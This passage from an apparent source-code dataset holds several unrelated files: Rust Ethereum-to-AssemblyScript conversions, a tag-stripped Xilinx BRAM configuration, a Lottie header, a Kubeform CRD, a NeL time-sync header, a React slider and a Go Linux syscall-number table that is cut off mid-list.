ToAscObj for ethabi::LogParam {\n fn to_asc_obj(&self, heap: &mut H) -> AscLogParam {\n AscLogParam {\n name: heap.asc_new(self.name.as_str()),\n value: heap.asc_new(&self.value),\n }\n }\n}\n\nimpl ToAscObj for serde_json::Map {\n fn to_asc_obj(&self, heap: &mut H) -> AscJson {\n AscTypedMap {\n entries: heap.asc_new(&*self.iter().collect::>()),\n }\n }\n}\n\nimpl ToAscObj for HashMap {\n fn to_asc_obj(&self, heap: &mut H) -> AscEntity {\n AscTypedMap {\n entries: heap.asc_new(&*self.iter().collect::>()),\n }\n }\n}\n\nimpl ToAscObj for store::Entity {\n fn to_asc_obj(&self, heap: &mut H) -> AscEntity {\n AscTypedMap {\n entries: heap.asc_new(&*self.iter().collect::>()),\n }\n }\n}\n\nimpl ToAscObj> for serde_json::Value {\n fn to_asc_obj(&self, heap: &mut H) -> AscEnum {\n use serde_json::Value;\n\n let payload = match self {\n Value::Null => EnumPayload(0),\n Value::Bool(b) => EnumPayload::from(*b),\n Value::Number(number) => heap.asc_new(&*number.to_string()).into(),\n Value::String(string) => heap.asc_new(string.as_str()).into(),\n Value::Array(array) => heap.asc_new(array.as_slice()).into(),\n Value::Object(object) => heap.asc_new(object).into(),\n };\n\n AscEnum {\n kind: JsonValueKind::get_kind(self),\n _padding: 0,\n payload,\n }\n }\n}\n\nimpl ToAscObj for EthereumBlockData {\n fn to_asc_obj(&self, heap: &mut H) -> AscEthereumBlock {\n AscEthereumBlock {\n hash: heap.asc_new(&self.hash),\n parent_hash: heap.asc_new(&self.parent_hash),\n uncles_hash: heap.asc_new(&self.uncles_hash),\n author: heap.asc_new(&self.author),\n state_root: heap.asc_new(&self.state_root),\n transactions_root: heap.asc_new(&self.transactions_root),\n receipts_root: heap.asc_new(&self.receipts_root),\n number: heap.asc_new(&BigInt::from(self.number)),\n gas_used: heap.asc_new(&BigInt::from_unsigned_u256(&self.gas_used)),\n gas_limit: heap.asc_new(&BigInt::from_unsigned_u256(&self.gas_limit)),\n timestamp: heap.asc_new(&BigInt::from_unsigned_u256(&self.timestamp)),\n difficulty: heap.asc_new(&BigInt::from_unsigned_u256(&self.difficulty)),\n total_difficulty: heap.asc_new(&BigInt::from_unsigned_u256(&self.total_difficulty)),\n size: self\n .size\n .map(|size| heap.asc_new(&BigInt::from_unsigned_u256(&size)))\n .unwrap_or_else(|| AscPtr::null()),\n }\n }\n}\n\nimpl ToAscObj for EthereumTransactionData {\n fn to_asc_obj(&self, heap: &mut H) -> AscEthereumTransaction {\n AscEthereumTransaction {\n hash: heap.asc_new(&self.hash),\n index: heap.asc_new(&BigInt::from(self.index)),\n from: heap.asc_new(&self.from),\n to: self\n .to\n .map(|to| heap.asc_new(&to))\n .unwrap_or_else(|| AscPtr::null()),\n value: heap.asc_new(&BigInt::from_unsigned_u256(&self.value)),\n gas_used: heap.asc_new(&BigInt::from_unsigned_u256(&self.gas_used)),\n gas_price: heap.asc_new(&BigInt::from_unsigned_u256(&self.gas_price)),\n }\n }\n}\n\nimpl ToAscObj for EthereumTransactionData {\n fn to_asc_obj(&self, heap: &mut H) -> AscEthereumTransaction_0_0_2 {\n AscEthereumTransaction_0_0_2 {\n hash: heap.asc_new(&self.hash),\n index: heap.asc_new(&BigInt::from(self.index)),\n from: heap.asc_new(&self.from),\n to: self\n .to\n .map(|to| heap.asc_new(&to))\n .unwrap_or_else(|| AscPtr::null()),\n value: heap.asc_new(&BigInt::from_unsigned_u256(&self.value)),\n gas_used: heap.asc_new(&BigInt::from_unsigned_u256(&self.gas_used)),\n gas_price: heap.asc_new(&BigInt::from_unsigned_u256(&self.gas_price)),\n input: heap.asc_new(&*self.input.0),\n }\n }\n}\n\nimpl ToAscObj> for EthereumEventData\nwhere\n EthereumTransactionData: ToAscObj,\n{\n fn to_asc_obj(&self, heap: &mut H) -> AscEthereumEvent {\n AscEthereumEvent {\n address: heap.asc_new(&self.address),\n log_index: heap.asc_new(&BigInt::from_unsigned_u256(&self.log_index)),\n transaction_log_index: heap\n .asc_new(&BigInt::from_unsigned_u256(&self.transaction_log_index)),\n log_type: self\n .log_type\n .clone()\n .map(|log_type| heap.asc_new(&log_type))\n .unwrap_or_else(|| AscPtr::null()),\n block: heap.asc_new(&self.block),\n transaction: heap.asc_new::(&self.transaction),\n params: heap.asc_new(self.params.as_slice()),\n }\n }\n}\n\nimpl ToAscObj for EthereumCallData {\n fn to_asc_obj(&self, heap: &mut H) -> AscEthereumCall {\n AscEthereumCall {\n address: heap.asc_new(&self.to),\n block: heap.asc_new(&self.block),\n transaction: heap.asc_new(&self.transaction),\n inputs: heap.asc_new(self.inputs.as_slice()),\n outputs: heap.asc_new(self.outputs.as_slice()),\n }\n }\n}\n\nimpl ToAscObj for EthereumCallData {\n fn to_asc_obj(&self, heap: &mut H) -> AscEthereumCall_0_0_3 {\n AscEthereumCall_0_0_3 {\n to: heap.asc_new(&self.to),\n from: heap.asc_new(&self.from),\n block: heap.asc_new(&self.block),\n transaction: heap.asc_new(&self.transaction),\n inputs: heap.asc_new(self.inputs.as_slice()),\n outputs: heap.asc_new(self.outputs.as_slice()),\n }\n }\n}\n\nimpl FromAscObj for UnresolvedContractCall {\n fn from_asc_obj(asc_call: AscUnresolvedContractCall, heap: &H) -> Self {\n UnresolvedContractCall {\n contract_name: heap.asc_get(asc_call.contract_name),\n contract_address: heap.asc_get(asc_call.contract_address),\n function_name: heap.asc_get(asc_call.function_name),\n function_signature: None,\n function_args: heap.asc_get(asc_call.function_args),\n }\n }\n}\n\nimpl FromAscObj for UnresolvedContractCall {\n fn from_asc_obj(asc_call: AscUnresolvedContractCall_0_0_4, heap: &H) -> Self {\n UnresolvedContractCall {\n contract_name: heap.asc_get(asc_call.contract_name),\n contract_address: heap.asc_get(asc_call.contract_address),\n function_name: heap.asc_get(asc_call.function_name),\n function_signature: Some(heap.asc_get(asc_call.function_signature)),\n function_args: heap.asc_get(asc_call.function_args),\n }\n }\n}\n\nimpl From for LogLevel {\n fn from(i: u32) -> Self {\n match i {\n 0 => LogLevel::Critical,\n 1 => LogLevel::Error,\n 2 => LogLevel::Warning,\n 3 => LogLevel::Info,\n 4 => LogLevel::Debug,\n _ => LogLevel::Debug,\n }\n }\n}\n\nimpl ToAscObj for bool {\n fn to_asc_obj(&self, _heap: &mut H) -> bool {\n *self\n }\n}\n\nimpl ToAscObj> for AscWrapped {\n fn to_asc_obj(&self, _heap: &mut H) -> AscWrapped {\n *self\n }\n}\n\nimpl ToAscObj> for Result\nwhere\n V: ToAscObj,\n E: ToAscObj,\n VAsc: AscType,\n EAsc: AscType,\n{\n fn to_asc_obj(&self, heap: &mut H) -> AscResult {\n match self {\n Ok(value) => AscResult {\n value: {\n let inner = heap.asc_new(value);\n let wrapped = AscWrapped { inner };\n heap.asc_new(&wrapped)\n },\n error: AscPtr::null(),\n },\n Err(e) => AscResult {\n value: AscPtr::null(),\n error: {\n let inner = heap.asc_new(e);\n let wrapped = AscWrapped { inner };\n heap.asc_new(&wrapped)\n },\n },\n }\n }\n}\n"} +{"text": "\n\n xilinx.com\n xci\n unknown\n 1.0\n \n \n bram_256x512\n \n \n 4096\n 8\n 8\n 1\n 4\n 0\n 1\n 9\n 1\n 1\n 7\n NONE\n 0\n 0\n 0\n ./\n 0\n 0\n 0\n 0\n 0\n 0\n 0\n 0\n Estimated Power for IP : 53.597652 mW\n artix7\n 0\n 1\n 1\n 0\n 0\n 0\n 0\n 0\n 0\n 0\n 0\n 0\n 0\n 0\n 0\n 0\n bram_256x512.mem\n bram_256x512.mif\n 0\n 1\n 1\n 0\n 1\n 256\n 256\n 512\n 512\n 0\n 0\n CE\n CE\n ALL\n 0\n 0\n 0\n 1\n 0\n 0\n 0\n 1\n 1\n 256\n 256\n NO_CHANGE\n READ_FIRST\n 512\n 512\n artix7\n 4\n Memory_Slave\n AXI4_Full\n false\n Minimum_Area\n true\n 9\n NONE\n ../../../common/ip_cores/bram_256x512/test_proto.coe\n ALL\n bram_256x512\n false\n false\n false\n false\n false\n false\n false\n false\n false\n Use_ENA_Pin\n Use_ENB_Pin\n Single_Bit_Error_Injection\n true\n Native\n true\n no_mem_loaded\n Simple_Dual_Port_RAM\n NO_CHANGE\n READ_FIRST\n 0\n 0\n BRAM\n 0\n 100\n 100\n 50\n 100\n 100\n 0\n 8kx2\n false\n false\n 512\n 512\n false\n false\n false\n false\n 0\n false\n false\n CE\n CE\n SYNC\n false\n false\n false\n false\n false\n false\n false\n 256\n 512\n 512\n No_ECC\n false\n false\n false\n Stand_Alone\n artix7\n \n xc7a200t\n sbg484\n VERILOG\n \n MIXED\n -1\n \n TRUE\n TRUE\n IP_Flow\n 5\n TRUE\n .\n \n .\n 2016.4\n OUT_OF_CONTEXT\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n"} +{"text": "\r\n\r\n\r\n \r\n \r\n\r\n"} +{"text": "//\n// LOTLayer.h\n// LottieAnimator\n//\n// Created by Brandon Withrow on 12/14/15.\n// Copyright © 2015 Brandon Withrow. All rights reserved.\n//\n\n#import \n#import \"LOTPlatformCompat.h\"\n#import \"LOTKeyframe.h\"\n\n@class LOTShapeGroup;\n@class LOTMask;\n@class LOTAsset;\n@class LOTAssetGroup;\n\ntypedef enum : NSInteger {\n LOTLayerTypePrecomp,\n LOTLayerTypeSolid,\n LOTLayerTypeImage,\n LOTLayerTypeNull,\n LOTLayerTypeShape,\n LOTLayerTypeUnknown\n} LOTLayerType;\n\ntypedef enum : NSInteger {\n LOTMatteTypeNone,\n LOTMatteTypeAdd,\n LOTMatteTypeInvert,\n LOTMatteTypeUnknown\n} LOTMatteType;\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface LOTLayer : NSObject\n\n- (instancetype)initWithJSON:(NSDictionary *)jsonDictionary\n withAssetGroup:(LOTAssetGroup * _Nullable)assetGroup\n withFramerate:(NSNumber *)framerate;\n\n@property (nonatomic, readonly) NSString *layerName;\n@property (nonatomic, readonly, nullable) NSString *referenceID;\n@property (nonatomic, readonly) NSNumber *layerID;\n@property (nonatomic, readonly) LOTLayerType layerType;\n@property (nonatomic, readonly, nullable) NSNumber *parentID;\n@property (nonatomic, readonly) NSNumber *startFrame;\n@property (nonatomic, readonly) NSNumber *inFrame;\n@property (nonatomic, readonly) NSNumber *outFrame;\n@property (nonatomic, readonly) NSNumber *timeStretch;\n@property (nonatomic, readonly) CGRect layerBounds;\n\n@property (nonatomic, readonly, nullable) NSArray *shapes;\n@property (nonatomic, readonly, nullable) NSArray *masks;\n\n@property (nonatomic, readonly, nullable) NSNumber *layerWidth;\n@property (nonatomic, readonly, nullable) NSNumber *layerHeight;\n@property (nonatomic, readonly, nullable) UIColor *solidColor;\n@property (nonatomic, readonly, nullable) LOTAsset *imageAsset;\n\n@property (nonatomic, readonly) LOTKeyframeGroup *opacity;\n@property (nonatomic, readonly, nullable) LOTKeyframeGroup *timeRemapping;\n@property (nonatomic, readonly) LOTKeyframeGroup *rotation;\n@property (nonatomic, readonly, nullable) LOTKeyframeGroup *position;\n\n@property (nonatomic, readonly, nullable) LOTKeyframeGroup *positionX;\n@property (nonatomic, readonly, nullable) LOTKeyframeGroup *positionY;\n\n@property (nonatomic, readonly) LOTKeyframeGroup *anchor;\n@property (nonatomic, readonly) LOTKeyframeGroup *scale;\n\n@property (nonatomic, readonly) LOTMatteType matteType;\n\n@end\n\nNS_ASSUME_NONNULL_END\n"} +{"text": "apiVersion: apiextensions.k8s.io/v1beta1\nkind: CustomResourceDefinition\nmetadata:\n creationTimestamp: null\n labels:\n app.kubernetes.io/name: kubeform\n name: ebssnapshotcopies.aws.kubeform.com\nspec:\n additionalPrinterColumns:\n - JSONPath: .status.phase\n name: Phase\n type: string\n group: aws.kubeform.com\n names:\n kind: EbsSnapshotCopy\n listKind: EbsSnapshotCopyList\n plural: ebssnapshotcopies\n singular: ebssnapshotcopy\n scope: Namespaced\n subresources:\n status: {}\n validation:\n openAPIV3Schema:\n properties:\n apiVersion:\n description: 'APIVersion defines the versioned schema of this representation\n of an object. Servers should convert recognized schemas to the latest\n internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources'\n type: string\n kind:\n description: 'Kind is a string value representing the REST resource this\n object represents. Servers may infer this from the endpoint the client\n submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds'\n type: string\n metadata:\n type: object\n spec:\n properties:\n dataEncryptionKeyID:\n type: string\n description:\n type: string\n encrypted:\n type: boolean\n id:\n type: string\n kmsKeyID:\n type: string\n ownerAlias:\n type: string\n ownerID:\n type: string\n providerRef:\n description: LocalObjectReference contains enough information to let\n you locate the referenced object inside the same namespace.\n properties:\n name:\n description: 'Name of the referent. More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names\n TODO: Add other useful fields. apiVersion, kind, uid?'\n type: string\n type: object\n sourceRegion:\n type: string\n sourceSnapshotID:\n type: string\n tags:\n additionalProperties:\n type: string\n type: object\n volumeID:\n type: string\n volumeSize:\n format: int64\n type: integer\n required:\n - providerRef\n - sourceRegion\n - sourceSnapshotID\n type: object\n status:\n properties:\n observedGeneration:\n description: Resource generation, which is updated on mutation by the\n API Server.\n format: int64\n type: integer\n output:\n properties:\n dataEncryptionKeyID:\n type: string\n description:\n type: string\n encrypted:\n type: boolean\n id:\n type: string\n kmsKeyID:\n type: string\n ownerAlias:\n type: string\n ownerID:\n type: string\n providerRef:\n description: LocalObjectReference contains enough information to\n let you locate the referenced object inside the same namespace.\n properties:\n name:\n description: 'Name of the referent. More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names\n TODO: Add other useful fields. apiVersion, kind, uid?'\n type: string\n type: object\n sourceRegion:\n type: string\n sourceSnapshotID:\n type: string\n tags:\n additionalProperties:\n type: string\n type: object\n volumeID:\n type: string\n volumeSize:\n format: int64\n type: integer\n required:\n - providerRef\n - sourceRegion\n - sourceSnapshotID\n type: object\n phase:\n type: string\n state:\n properties:\n lineage:\n type: string\n serial:\n format: int64\n type: integer\n terraform_version:\n type: string\n version:\n format: int64\n type: integer\n required:\n - lineage\n - serial\n - terraform_version\n - version\n type: object\n type: object\n type: object\n version: v1alpha1\n versions:\n - name: v1alpha1\n served: true\n storage: true\n"} +{"text": "// NeL - MMORPG Framework \n// Copyright (C) 2010 Winch Gate Property Limited\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as\n// published by the Free Software Foundation, either version 3 of the\n// License, or (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see .\n\n#ifndef NL_UNITIME_H\n#define NL_UNITIME_H\n\n#include \"nel/misc/types_nl.h\"\n#include \"nel/misc/time_nl.h\"\n#include \"nel/misc/debug.h\"\n#include \"callback_net_base.h\"\n\nnamespace NLNET\n{\n\nclass CInetAddress;\nclass CCallbackServer;\nclass CCallbackClient;\n\n/**\n * This class provide a independant universal time system.\n * \\author Vianney Lecroart\n * \\author Nevrax France\n * \\date 2000\n *\n * THIS CLASS IS DEPRECATED, DON'T USE IT\n *\n */\nclass _CUniTime : public NLMISC::CTime\n{\npublic:\n\n\t/// Return the time in millisecond. This time is the same on all computers at the \\b same moment.\n\tstatic NLMISC::TTime\tgetUniTime ();\n\n\t/// Return the time in a string format to be display\n\tstatic const char\t\t*getStringUniTime ();\n\n\t/// Return the time in a string format to be display\n\tstatic const char\t\t*getStringUniTime (NLMISC::TTime ut);\n\n\n\t/** You need to call this function before calling getUniTime or an assert will occured.\n\t * This function will connect to the time service and synchronize your computer.\n\t * This function assumes that all services run on server that are time synchronized with NTP for example.\n\t * If addr is NULL, the function will connect to the Time Service via the Naming Service. In this case,\n\t * the CNamingClient must be connected to a Naming Service.\n\t * This function can be called *ONLY* by services that are inside of the shard.\n\t * Don't use it for a client or a service outside of the shard.\n\t */\n\tstatic void\t\t\t\tsyncUniTimeFromService (CCallbackNetBase::TRecordingState rec=CCallbackNetBase::Off, const CInetAddress *addr = NULL);\n\n\t/** Call this function in the init part of the front end service to enable time syncro between\n\t * shard and clients.\n\t */\n\tstatic void\t\t\t\tinstallServer (CCallbackServer *server);\n\n\t/** Call this functions in the init part of the client side to synchronize between client and shard.\n\t * client is the connection between the client and the front end. The connection must be established before\n\t * calling this function.\n\t */\n\tstatic void\t\t\t\tsyncUniTimeFromServer (CCallbackClient *client);\n\n\t/** \\internal used by the time service to set the universal time the first time\n\t */\n\tstatic void\t\t\t\tsetUniTime (NLMISC::TTime uTime, NLMISC::TTime lTime);\n\t/** \\internal\n\t */\n\tstatic void\t\t\t\tsetUniTime (NLMISC::TTime uTime);\n\n\t/**\n\t * Call this method before to prevent syncUniTimeFromService() from real synchronization:\n\t * syncUniTimeFromService() will still communicate with the time service, as usual,\n\t * but the local time will not be synchronized.\n\t */\n\tstatic void\t\t\t\tsimulate() { nlstop; _Simulate = true; }\n\n\tstatic bool\t\t\t\tSync;\t\t\t\t// true if the synchronization occured\nprivate:\n\n\tstatic NLMISC::TTime\t_SyncUniTime;\t\t// time in millisecond when the universal time received\n\tstatic NLMISC::TTime\t_SyncLocalTime;\t\t// time in millisecond when the syncro with universal time occured\n\n\t// If true, do not synchronize\n\tstatic bool\t\t\t\t_Simulate;\n};\n\n} // NLNET\n\n#endif // NL_UNITIME_H\n\n/* End of unitime.h */\n"} +{"text": "import PropTypes from 'prop-types'\nimport { space } from 'styled-system'\n\nimport RcSlider from './rc-slider/Slider'\nimport styleSlider from './styleSlider'\n\nconst Slider = styleSlider(RcSlider)\n\nSlider.defaultProps = {\n color: 'primary',\n}\n\nSlider.propTypes = {\n ...space.propTypes,\n color: PropTypes.string,\n}\n\nexport default Slider\n"} +{"text": "// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include -m32 /tmp/include/asm/unistd.h\n// Code generated by the command above; see README.md. DO NOT EDIT.\n\n// +build 386,linux\n\npackage unix\n\nconst (\n\tSYS_RESTART_SYSCALL = 0\n\tSYS_EXIT = 1\n\tSYS_FORK = 2\n\tSYS_READ = 3\n\tSYS_WRITE = 4\n\tSYS_OPEN = 5\n\tSYS_CLOSE = 6\n\tSYS_WAITPID = 7\n\tSYS_CREAT = 8\n\tSYS_LINK = 9\n\tSYS_UNLINK = 10\n\tSYS_EXECVE = 11\n\tSYS_CHDIR = 12\n\tSYS_TIME = 13\n\tSYS_MKNOD = 14\n\tSYS_CHMOD = 15\n\tSYS_LCHOWN = 16\n\tSYS_BREAK = 17\n\tSYS_OLDSTAT = 18\n\tSYS_LSEEK = 19\n\tSYS_GETPID = 20\n\tSYS_MOUNT = 21\n\tSYS_UMOUNT = 22\n\tSYS_SETUID = 23\n\tSYS_GETUID = 24\n\tSYS_STIME = 25\n\tSYS_PTRACE = 26\n\tSYS_ALARM = 27\n\tSYS_OLDFSTAT = 28\n\tSYS_PAUSE = 29\n\tSYS_UTIME = 30\n\tSYS_STTY = 31\n\tSYS_GTTY = 32\n\tSYS_ACCESS = 33\n\tSYS_NICE = 34\n\tSYS_FTIME = 35\n\tSYS_SYNC = 36\n\tSYS_KILL = 37\n\tSYS_RENAME = 38\n\tSYS_MKDIR = 39\n\tSYS_RMDIR = 40\n\tSYS_DUP = 41\n\tSYS_PIPE = 42\n\tSYS_TIMES = 43\n\tSYS_PROF = 44\n\tSYS_BRK = 45\n\tSYS_SETGID = 46\n\tSYS_GETGID = 47\n\tSYS_SIGNAL = 48\n\tSYS_GETEUID = 49\n\tSYS_GETEGID = 50\n\tSYS_ACCT = 51\n\tSYS_UMOUNT2 = 52\n\tSYS_LOCK = 53\n\tSYS_IOCTL = 54\n\tSYS_FCNTL = 55\n\tSYS_MPX = 56\n\tSYS_SETPGID = 57\n\tSYS_ULIMIT = 58\n\tSYS_OLDOLDUNAME = 59\n\tSYS_UMASK = 60\n\tSYS_CHROOT = 61\n\tSYS_USTAT = 62\n\tSYS_DUP2 = 63\n\tSYS_GETPPID = 64\n\tSYS_GETPGRP = 65\n\tSYS_SETSID = 66\n\tSYS_SIGACTION = 67\n\tSYS_SGETMASK = 68\n\tSYS_SSETMASK = 69\n\tSYS_SETREUID = 70\n\tSYS_SETREGID = 71\n\tSYS_SIGSUSPEND = 72\n\tSYS_SIGPENDING = 73\n\tSYS_SETHOSTNAME = 74\n\tSYS_SETRLIMIT = 75\n\tSYS_GETRLIMIT = 76\n\tSYS_GETRUSAGE = 77\n\tSYS_GETTIMEOFDAY = 78\n\tSYS_SETTIMEOFDAY = 79\n\tSYS_GETGROUPS = 80\n\tSYS_SETGROUPS = 81\n\tSYS_SELECT = 82\n\tSYS_SYMLINK = 83\n\tSYS_OLDLSTAT = 84\n\tSYS_READLINK = 85\n\tSYS_USELIB = 86\n\tSYS_SWAPON = 87\n\tSYS_REBOOT = 88\n\tSYS_READDIR = 89\n\tSYS_MMAP = 90\n\tSYS_MUNMAP = 91\n\tSYS_TRUNCATE = 92\n\tSYS_FTRUNCATE = 93\n\tSYS_FCHMOD = 94\n\tSYS_FCHOWN = 95\n\tSYS_GETPRIORITY = 96\n\tSYS_SETPRIORITY = 97\n\tSYS_PROFIL = 98\n\tSYS_STATFS = 99\n\tSYS_FSTATFS = 100\n\tSYS_IOPERM = 101\n\tSYS_SOCKETCALL = 102\n\tSYS_SYSLOG = 103\n\tSYS_SETITIMER = 104\n\tSYS_GETITIMER = 105\n\tSYS_STAT = 106\n\tSYS_LSTAT = 107\n\tSYS_FSTAT = 108\n\tSYS_OLDUNAME = 109\n\tSYS_IOPL = 110\n\tSYS_VHANGUP = 111\n\tSYS_IDLE = 112\n\tSYS_VM86OLD = 113\n\tSYS_WAIT4 = 114\n\tSYS_SWAPOFF = 115\n\tSYS_SYSINFO = 116\n\tSYS_IPC = 117\n\tSYS_FSYNC = 118\n\tSYS_SIGRETURN = 119\n\tSYS_CLONE = 120\n\tSYS_SETDOMAINNAME = 121\n\tSYS_UNAME = 122\n\tSYS_MODIFY_LDT = 123\n\tSYS_ADJTIMEX = 124\n\tSYS_MPROTECT = 125\n\tSYS_SIGPROCMASK = 126\n\tSYS_CREATE_MODULE = 127\n\tSYS_INIT_MODULE = 128\n\tSYS_DELETE_MODULE = 129\n\tSYS_GET_KERNEL_SYMS = 130\n\tSYS_QUOTACTL = 131\n\tSYS_GETPGID = 132\n\tSYS_FCHDIR = 133\n\tSYS_BDFLUSH = 134\n\tSYS_SYSFS = 135\n\tSYS_PERSONALITY = 136\n\tSYS_AFS_SYSCALL = 137\n\tSYS_SETFSUID = 138\n\tSYS_SETFSGID = 139\n\tSYS__LLSEEK = 140\n\tSYS_GETDENTS = 141\n\tSYS__NEWSELECT = 142\n\tSYS_FLOCK = 143\n\tSYS_MSYNC = 144\n\tSYS_READV = 145\n\tSYS_WRITEV = 146\n\tSYS_GETSID = 147\n\tSYS_FDATASYNC = 148\n\tSYS__SYSCTL = 149\n\tSYS_MLOCK = 150\n\tSYS_MUNLOCK = 151\n\tSYS_MLOCKALL = 152\n\tSYS_MUNLOCKALL = 153\n\tSYS_SCHED_SETPARAM = 154\n\tSYS_SCHED_GETPARAM = 155\n\tSYS_SCHED_SETSCHEDULER = 156\n\tSYS_SCHED_GETSCHEDULER = 157\n\tSYS_SCHED_YIELD = 158\n\tSYS_SCHED_GET_PRIORITY_MAX = 159\n\tSYS_SCHED_GET_PRIORITY_MIN = 160\n\tSYS_SCHED_RR_GET_INTERVAL = 161\n\tSYS_NANOSLEEP = 162\n\tSYS_MREMAP = 163\n\tSYS_SETRESUID = 164\n\tSYS_GETRESUID = 165\n\tSYS_VM86 = 166\n\tSYS_QUERY_MODULE = 167\n\tSYS_POLL = 168\n\tSYS_NFSSERVCTL = 169\n\tSYS_SETRESGID = 170\n\tSYS_GETRESGID = 171\n\tSYS_PRCTL = 172\n\tSYS_RT_SIGRETURN = 173\n\tSYS_RT_SIGACTION = 174\n\tSYS_RT_SIGPROCMASK = 175\n\tSYS_RT_SIGPENDING = 176\n\tSYS_RT_SIGTIMEDWAIT = 177\n\tSYS_RT_SIGQUEUEINFO = 178\n\tSYS_RT_SIGSUSPEND = 179\n\tSYS_PREAD64 = 180\n\tSYS_PWRITE64 = 181\n\tSYS_CHOWN = 182\n\tSYS_GETCWD = 183\n\tSYS_CAPGET = 184\n\tSYS_CAPSET = 185\n\tSYS_SIGALTSTACK = 186\n\tSYS_SENDFILE = 187\n\tSYS_GETPMSG = 188\n\tSYS_PUTPMSG = 189\n\tSYS_VFORK = 190\n\tSYS_UGETRLIMIT = 191\n\tSYS_MMAP2 = 192\n\tSYS_TRUNCATE64 = 193\n\tSYS_FTRUNCATE64 = 194\n\tSYS_STAT64 = 195\n\tSYS_LSTAT64 = 196\n\tSYS_FSTAT64 = 197\n\tSYS_LCHOWN32 = 198\n\tSYS_GETUID32 = 199\n\tSYS_GETGID32 = 200\n\tSYS_GETEUID32 = 201\n\tSYS_GETEGID32 = 202\n\tSYS_SETREUID32 = 203\n\tSYS_SETREGID32 = 204\n\tSYS_GETGROUPS32 = 205\n\tSYS_SETGROUPS32 = 206\n\tSYS_FCHOWN32 = 207\n\tSYS_SETRESUID32 = 208\n\tSYS_GETRESUID32 = 209\n\tSYS_SETRESGID32 = 210\n\tSYS_GETRESGID32 = 211\n\tSYS_CHOWN32 = 212\n\tSYS_SETUID32 = 213\n\tSYS_SETGID32 = 214\n\tSYS_SETFSUID32 = 215\n\tSYS_SETFSGID32 = 216\n\tSYS_PIVOT_ROOT = 217\n\tSYS_MINCORE = 218\n\tSYS_MADVISE = 219\n\tSYS_GETDENTS64 = 220\n\tSYS_FCNTL64 = 221\n\tSYS_GETTID = 224\n\tSYS_READAHEAD = 225\n\tSYS_SETXATTR = 226\n\tSYS_LSETXATTR = 227\n\tSYS_FSETXATTR = 228\n\tSYS_GETXATTR = 229\n\tSYS_LGETXATTR = 230\n\tSYS_FGETXATTR = 231\n\tSYS_LISTXATTR = 232\n\tSYS_LLISTXATTR = 233\n\tSYS_FLISTXATTR = 234\n\tSYS_REMOVEXATTR = 235\n\tSYS_LREMOVEXATTR = 236\n\tSYS_FREMOVEXATTR = 237\n\tSYS_TKILL = 238\n\tSYS_SENDFILE64 = 239\n\tSYS_FUTEX = 240\n\tSYS_SCHED_SETAFFINITY = 241\n\tSYS_SCHED_GETAFFINITY = 242\n\tSYS_SET_THREAD_AREA = 243\n\tSYS_GET_THREAD_AREA = 244\n\tSYS_IO_SETUP = 245\n\tSYS_IO_DESTROY = 246\n\tSYS_IO_GETEVENTS = 247\n\tSYS_IO_SUBMIT = 248\n\tSYS_IO_CANCEL = 249\n\tSYS_FADVISE64 = 250\n\tSYS_EXIT_GROUP = 252\n\tSYS_LOOKUP_DCOOKIE = 253\n\tSYS_EPOLL_CREATE = 254\n\tSYS_EPOLL_CTL = 255\n\tSYS_EPOLL_WAIT = 256\n\tSYS_REMAP_FILE_PAGES = 257\n\tSYS_SET_TID_ADDRESS = 258\n\tSYS_TIMER_CREATE = 259\n\tSYS_TIMER_SETTIME = 260\n\tSYS_TIMER_GETTIME = 261\n\tSYS_TIMER_GETOVERRUN = 262\n\tSYS_TIMER_DELETE = 263\n\tSYS_CLOCK_SETTIME = 264\n\tSYS_CLOCK_GETTIME = 265\n\tSYS_CLOCK_GETRES = 266\n\tSYS_CLOCK_NANOSLEEP = 267\n\tSYS_STATFS64 = 268\n\tSYS_FSTATFS64 = 269\n\tSYS_TGKILL = 270\n\tSYS_UTIMES = 271\n\tSYS_FADVISE64_64 = 272\n\tSYS_VSERVER = 273\n\tSYS_MBIND = 274\n\tSYS_GET_MEMPOLICY = 275\n\tSYS_SET_MEMPOLICY = 276\n\tSYS_MQ_OPEN = 277\n\tSYS_MQ_UNLINK = 278\n\tSYS_MQ_TIMEDSEND = 279\n\tSYS_MQ_TIMEDRECEIVE = 280\n\tSYS_MQ_NOTIFY = 281\n\tSYS_MQ_GETSETATTR = 282\n\tSYS_KEXEC_LOAD = 283\n\tSYS_WAITID = 284\n\tSYS_ADD_KEY = 286\n\tSYS_REQUEST_KEY = 287\n\tSYS_KEYCTL = 288\n\tSYS_IOPRIO_SET = 289\n\tSYS_IOPRIO_GET = 290\n\tSYS_INOTIFY_INIT = 291\n\tSYS_INOTIFY_ADD_WATCH = 292\n\tSYS_INOTIFY_RM_WATCH = 293\n\tSYS_MIGRATE_PAGES = 294\n\tSYS_OPENAT = 295\n\tSYS_MKDIRAT = 296\n\tSYS_MKNODAT = 297\n\tSYS_FCHOWNAT = 298\n\tSYS_FUTIMESAT = 299\n\tSYS_FSTATAT64 = 300\n\tSYS_UNLINKAT = 301\n\tSYS_RENAMEAT = 302\n\tSYS_LINKAT = 303\n\tSYS_SYMLINKAT = 304\n\tSYS_READLINKAT = 305\n\tSYS_FCHMODAT = 306\n\tSYS_FACCESSAT = 307\n\tSYS_PSELECT6 = 308\n\tSYS_PPOLL = 309\n\tSYS_UNSHARE = 310\n\tSYS_SET_ROBUST_LIST = 311\n\tSYS_GET_ROBUST_LIST = 312\n\tSYS_SPLICE = 313\n\tSYS_SYNC_FILE_RANGE = 314\n\tSYS_TEE = 315\n\tSYS_VMSPLICE = 316\n\tSYS_MOVE_PAGES = 317\n\tSYS_GETCPU = 318\n\tSYS_EPOLL_PWAIT = 319\n\tSYS_UTIMENSAT = 320\n\tSYS_SIGNALFD = 321\n\tSYS_TIMERFD_CREATE = 322\n\tSYS_EVENTFD = 323\n\tSYS_FALLOCATE 